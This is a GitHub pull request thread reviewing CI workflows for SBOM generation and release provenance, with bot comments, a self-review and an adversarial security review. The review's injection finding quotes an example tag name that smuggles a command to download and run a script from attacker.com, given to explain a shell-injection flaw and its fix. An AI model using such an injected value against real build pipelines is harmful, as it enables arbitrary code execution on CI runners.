OPS-11: SBOM generation and release provenance workflow

[Chris0Jeky]

Summary

Implements #103 (OPS-11): SBOM generation and release provenance workflow.

• Reusable workflow (.github/workflows/reusable-sbom-provenance.yml): generates CycloneDX JSON SBOMs for backend (.NET via dotnet CycloneDX) and frontend (npm via @cyclonedx/cyclonedx-npm), plus a SLSA v1-style build provenance manifest with SHA-256 checksums
• ci-release.yml: replaces the SBOM/provenance placeholder with a real call to the reusable workflow
• release-security.yml: adds SBOM/provenance generation alongside existing dependency inventory and vulnerability scans
• ci-required.yml: updated workflow topology comment to reflect new SBOM lanes
• Documentation (docs/ops/SBOM_RELEASE_PROVENANCE.md): format choices, trigger matrix, retention policy, failure handling, security review process, future enhancements
• Dependency vulnerability policy updated to reference SBOM artifacts in scan sources and reporting format sections

Artifact retention is 90 days. SBOM generation uses continue-on-error by default with an opt-in fail-on-error strict mode for production gates.

Test plan

• Verify workflow YAML syntax is valid (actionlint or GitHub Actions dry run)
• Trigger ci-release.yml via manual dispatch and confirm SBOM artifacts are uploaded
• Confirm release-security.yml manual dispatch also produces SBOM artifacts
• Verify the step summary includes SBOM status table
• Validate build-provenance.json contains correct repository/SHA/run metadata
• Confirm checksums.sha256 covers all JSON artifacts
• Test fail-on-error: true mode rejects runs with SBOM generation failures

Closes #103

[chatgpt-codex-connector]

You have reached your Codex usage limits for code reviews. You can see your limits in the Codex usage dashboard.
To continue using code reviews, you can upgrade your account or add credits to your account and enable them for code reviews in your settings.

[gemini-code-assist]

Code Review

This pull request establishes a formal policy for SBOM generation and release provenance, incorporating CycloneDX and SLSA v1. It also updates the existing security documentation to reflect these new processes. Review feedback identifies a factual error regarding CycloneDX's ISO status and strongly recommends pinning the versions of the SBOM generation tools to ensure build reproducibility and security.

[gemini-code-assist]

CycloneDX is an OWASP project, but it is not an ISO standard (SPDX is the ISO standard for SBOMs, ISO/IEC 5962:2021). ISO/IEC 27036 is a standard for supplier relationship security that SBOMs help satisfy, but it is not the specification for the CycloneDX format itself. It is better to remove the ISO claim to maintain accuracy.

Suggested change

	Taskdeck uses the [CycloneDX](https://cyclonedx.org/) format (JSON, spec version 1.5) for all SBOMs. CycloneDX is an OWASP project and an ISO standard (ISO/IEC 27036) widely supported by vulnerability scanners and dependency analysis tools.
	Taskdeck uses the [CycloneDX](https://cyclonedx.org/) format (JSON, spec version 1.5) for all SBOMs. CycloneDX is an OWASP project widely supported by vulnerability scanners and dependency analysis tools.

[gemini-code-assist]

For reproducible builds and reliable provenance, it is recommended to specify and pin the version of the CycloneDX .NET tool. Relying on the environment's default or latest version can lead to inconsistent SBOM outputs over time.

Suggested change

	- **Tool:** `CycloneDX` .NET global tool (`dotnet CycloneDX`)
	- **Tool:** CycloneDX .NET global tool (pinned version)

[gemini-code-assist]

Using latest for security-critical tooling like SBOM generation introduces non-determinism and potential supply chain risks. For robust release provenance, it is recommended to pin the @cyclonedx/cyclonedx-npm tool to a specific version (e.g., ^1.10.0). This ensures that updates to the tool don't unexpectedly change the SBOM format or break the pipeline.

Suggested change

	- **Tool:** `@cyclonedx/cyclonedx-npm` (npx, latest)
	- **Tool:** @cyclonedx/cyclonedx-npm (npx, pinned version)

[Chris0Jeky]

Adversarial Self-Review

Findings reviewed and status

1. Provenance JSON generation (FIXED)

• Original implementation used a bash heredoc which would embed leading whitespace from YAML indentation into the JSON file. Also had GitHub expression ${{ }} values directly in shell context, which is an injection risk if any context value contains shell metacharacters (e.g., a branch name with backticks).
• Fix applied: Replaced with a Node.js script that reads GitHub context from environment variables, producing clean JSON and avoiding shell injection vectors.

2. Frontend SBOM CLI flags (FIXED)

• Original used a positional directory argument and undocumented --mc-type and --output-reproducible flags for @cyclonedx/cyclonedx-npm.
• Fix applied: Changed to use --package-dir frontend/taskdeck-web per the official CycloneDX npm documentation.

3. Backend SBOM --set-version with github.ref_name (ACCEPTABLE RISK)

• When triggered by workflow_dispatch without a tag, github.ref_name will be the branch name (e.g., main), not a semver version. This is cosmetic -- the SBOM version field will contain the branch name, which is still useful for traceability. No fix needed; the provenance manifest has the full SHA regardless.

4. continue-on-error: true default (BY DESIGN)

• Both SBOM generation steps use continue-on-error: true, meaning the workflow will succeed even if SBOM generation fails. This is intentional for the initial rollout to avoid blocking releases on tooling issues. The fail-on-error input provides an opt-in strict mode. The exit codes and stderr are always captured as artifacts.

5. Permissions scope (VERIFIED)

• The workflow uses contents: read only, which is the minimum required. No write permissions, no token elevation.

6. Tool version pinning (NOTED FOR FUTURE)

• dotnet tool install --global CycloneDX and npx --yes @cyclonedx/cyclonedx-npm both install the latest version. This means SBOM output format could change between runs. Pinning to specific versions is recommended for production but acceptable for initial rollout. Documented in the future enhancements section.

7. SBOM summary markdown indentation (COSMETIC)

• The cat <<EOF in the "Write SBOM summary" step will have leading whitespace from YAML indentation in the GitHub step summary. This is cosmetic -- GitHub Actions step summary renders markdown, and the extra spaces are ignored in table rendering.

8. Duplicate SBOM generation across ci-release and release-security (BY DESIGN)

• Both workflows generate SBOMs independently when triggered by the same event (tag push/release). This is intentional: each workflow stores artifacts under a different name, and the SBOM job is lightweight (~2-3 min). If cost becomes a concern, one workflow could be configured to skip SBOM generation.

Conclusion

Two real issues found and fixed (provenance JSON generation, frontend CLI flags). Remaining items are acceptable design decisions documented in the policy. No blocking issues remain.

[Chris0Jeky]

Adversarial Code Review -- PR #606

CI Status: Workflow Lint FAILING

The Workflow Lint check is red. Actionlint reports a shellcheck finding at line 193 of reusable-sbom-provenance.yml:

SC2035:info:2:11: Use ./*glob* or -- *glob* so names with dashes won't become options

This is in the checksum generation step:

sha256sum *.json > checksums.sha256 2>/dev/null || true

Fix: sha256sum ./*.json > checksums.sha256 2>/dev/null || true

Severity: HIGH -- This blocks merge via the CI gate. Must be fixed.

---

Security Findings

S1. ${{ github.ref_name }} injection in backend SBOM step (MEDIUM)

Line 103 of the reusable workflow:

--set-version "${{ github.ref_name }}" 2> "$SBOM_DIR/backend-sbom.stderr"

This is a direct GitHub expression interpolation into a run: shell context. An attacker who creates a tag named v1"; curl attacker.com/x | bash; echo " would achieve arbitrary code execution. The provenance step correctly mitigates this by passing context through environment variables, but the backend SBOM step does not.

Fix: Add SBOM_VERSION: ${{ github.ref_name }} to an env: block on this step and use "$SBOM_VERSION" in the command.

S2. npx --yes executes unvetted remote code (MEDIUM)

Line 118:

npx --yes @cyclonedx/cyclonedx-npm \

npx --yes auto-installs and executes whatever version is currently latest on npm. If the @cyclonedx/cyclonedx-npm package is compromised or a typosquat is introduced, this becomes a supply chain attack vector. The --yes flag suppresses the confirmation prompt that would normally warn about installing an unknown package.

Fix: Pin to a specific version: npx --yes @cyclonedx/cyclonedx-npm@1.20.1 (or whatever the current stable is). Same applies to dotnet tool install --global CycloneDX on line 93 -- pin with --version X.Y.Z.

S3. continue-on-error: true with fail-on-error: false default masks failures silently (LOW)

Both SBOM steps use continue-on-error: true, and fail-on-error defaults to false. This means a completely broken SBOM pipeline will produce green CI runs with empty/missing SBOMs. The only signal is a ::warning annotation that is easy to miss.

This is documented and intentional, but for a security supply-chain tool, silent failure is a risk. Consider defaulting fail-on-error to true or at minimum failing the job when both SBOMs fail (total generation failure vs. partial).

---

Correctness Findings

C1. dotnet CycloneDX on a solution file may not work as expected (MEDIUM)

Line 99:

dotnet CycloneDX backend/Taskdeck.sln \

The CycloneDX .NET tool historically has had inconsistent support for solution files vs. project files. Some versions require --solution flag or only accept .csproj inputs. This should be verified against the actual installed version. If it fails, the continue-on-error will silently swallow it.

C2. checksums.sha256 includes itself if the step runs twice (LOW)

Line 193-195:

cd "$SBOM_DIR"
sha256sum *.json > checksums.sha256 2>/dev/null || true

The || true combined with 2>/dev/null means if there are zero .json files (both SBOMs failed), checksums.sha256 will be empty and the step succeeds silently. Not a bug per se, but the checksum file provides false confidence -- it exists but may be empty.

C3. startedOn timestamp in provenance is inaccurate (LOW)

Line 161:

startedOn: new Date().toISOString()

This captures the time the provenance manifest generation step runs, not when the workflow started. For SLSA compliance, startedOn should reflect the build invocation time. Could use ${{ github.event.created_at }} or the workflow start timestamp instead.

---

Provenance Integrity Findings

P1. Provenance manifest is self-attested, not cryptographically signed (MEDIUM)

The build-provenance.json claims to be SLSA v1 format but has no signature or attestation. Anyone with write access to the artifact store can modify it. The document acknowledges this as a future enhancement, but calling it "SLSA-style" in documentation is generous -- it is closer to a build metadata log than actual provenance.

The checksums.sha256 file is generated by the same runner that produces the artifacts, so it provides integrity against download corruption but not against tampering.

Recommendation: The doc should be explicit that this is "unsigned build metadata" rather than "SLSA provenance" until actions/attest-build-provenance is integrated.

P2. Tool versions recorded as "latest" (MEDIUM)

Lines 174-175:

cyclonedxDotnet: 'latest',
cyclonedxNpm: 'latest'

This defeats the purpose of recording tool versions for reproducibility. The provenance manifest should capture the actual installed versions. For the .NET tool: dotnet tool list -g | grep -i cyclonedx. For npm: the version printed by npx @cyclonedx/cyclonedx-npm --version.

P3. Provenance subject field is incomplete (LOW)

subject: [{ name: 'Taskdeck', version: process.env.PROVENANCE_REF_NAME }]

Per SLSA spec, subject should list the actual artifacts being attested (the SBOM files themselves, with their digests). Currently it just says "Taskdeck" which does not bind the provenance to any specific artifact.

---

Unaddressed Bot Review Comments

Gemini Code Assist left 3 comments that appear unaddressed:

1. Incorrect ISO standard claim in docs (CycloneDX is not ISO/IEC 27036)
2. CycloneDX .NET tool version not pinned
3. @cyclonedx/cyclonedx-npm version not pinned

Items 2 and 3 overlap with my S2 finding above. Item 1 is a factual error in the documentation that should be corrected.

---

Summary

ID	Category	Severity	Status
CI	Workflow Lint failure (SC2035)	HIGH	Blocks merge
S1	github.ref_name injection in shell	MEDIUM	Must fix
S2	Unpinned tool versions via npx --yes	MEDIUM	Should fix
S3	Silent SBOM failure by default	LOW	Acceptable if documented
C1	dotnet CycloneDX solution file support	MEDIUM	Verify
C2	Empty checksums on total failure	LOW	Cosmetic
C3	Inaccurate startedOn timestamp	LOW	Nice to fix
P1	Unsigned provenance called "SLSA"	MEDIUM	Rename in docs
P2	Tool versions recorded as "latest"	MEDIUM	Should fix
P3	SLSA subject field incomplete	LOW	Future

Verdict: Do not merge until at minimum the CI lint failure (SC2035) and the shell injection vector (S1) are fixed. S2 and P2 are strongly recommended before merge.